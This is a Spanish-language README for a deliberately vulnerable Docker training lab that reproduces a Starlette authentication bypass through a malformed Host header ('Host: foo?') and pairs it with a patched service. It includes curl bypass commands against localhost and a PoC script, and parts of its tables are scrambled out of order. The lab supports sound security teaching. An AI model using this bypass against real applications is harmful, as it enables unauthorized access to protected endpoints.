
Laboratorio de confusión de URL de Host-Header de Starlette (X41-2026-002) - CVE-2026-48710
Un laboratorio de formación autónomo y contenerizado que reproduce la vulnerabilidad de omisión de autenticación en Starlette divulgada por X41 D-Sec.
>= 0.8.3, < 1.0.1 (el lab fija 0.37.2)1.0.1⚠️ Solo para formación de seguridad autorizada. Esta aplicación es deliberadamente vulnerable. No la despliegue en ninguna red accesible.
Starlette envía una solicitud a una ruta usando el scope["path"] ASGI crudo,
pero reconstruye request.url formateando el encabezado Host suministrado por
el cliente en "{scheme}://{host}{path}" — sin validar el encabezado Host
contra RFC 9112 §3.2. Dado que los metacaracteres de URL (?, /, #) se
permiten directamente, un atacante puede hacer que la ruta reconstruida
difiera de la ruta enrutada. Cualquier comprobación de seguridad escrita
contra request.url.path puede entonces ser engañada mientras el enrutador
sigue alcanzando el manejador protegido.
El middleware vulnerable permite la solicitud solo cuando request.url.path es
/ o está vacío:
if request.url.path in ("/", ""):
return await call_next(request) # permitido
return PlainTextResponse("Forbidden", status_code=403)
Envía Host: foo? contra GET /admin:
| Componente | Valor usado |
|---|---|
Router (scope["path"]) |
El ? convierte todo lo que le sigue en la cadena de consulta, por lo que la
ruta analizada está vacía. La autenticación ve una ruta vacía y la deja pasar;
el enrutador sigue sirviendo /admin. Omisión lograda.
Requiere Docker + Docker Compose.
docker compose up --build
Se inician dos servicios:
| Servicio | URL | Comportamiento |
|---|---|---|
vulnerable | http://localhost:8000 | vulnerable a la omisión |
fixed | http://localhost:8001 | mitigado (de dos formas) |
# Bloqueado normalmente:
curl -i http://localhost:8000/admin # 403 Forbidden
# Omisión mediante inyección en el encabezado Host:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
O ejecuta el script de PoC guiado:
./exploit/exploit.sh # ataca a :8000 (tiene éxito)
./exploit/exploit.sh 8001 # ataca a :8001 (falla — corregido)
El manejador vulnerable /admin devuelve un cuerpo JSON que hace visible la
confusión — observa cómo scope_path y reconstructed_path no coinciden:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
Consulta fixed/fixed_app.py. Dos mitigaciones independientes:
request.scope["path"] — la misma ruta cruda que usa el enrutador — en lugar de
la reconstruida request.url.path.TrustedHostMiddleware rechaza los encabezados
Host inesperados o malformados antes de que se ejecute cualquier lógica de
aplicación, reflejando lo que hace un proxy inverso conforme a RFC
(nginx/Apache) en el upstream.La corrección en el mundo real es simplemente actualizar a Starlette ≥ 1.0.1, que valida el encabezado Host durante la reconstrucción de la URL.
redirect_uri de OAuth, claves de caché, enlaces de restablecimiento de
contraseña construidos desde Host.)/admin) más frágil aquí que "decidir
sobre el endpoint enrutado"? ¿Qué pasa si el enrutamiento no distingue entre
mayúsculas y minúsculas o tiene redirecciones con barra final?0.0.0.0.)starlette-host-header-lab/
├── app/vulnerable_app.py # el servicio deliberadamente vulnerable
├── fixed/fixed_app.py # servicio mitigado para comparación
├── exploit/exploit.sh # prueba de concepto guiada
├── requirements.txt # fija Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
/admin → despacha admin() |
request.url | http://foo?/admin |
request.url.path | "" → pasa la comprobación de auth ✅ |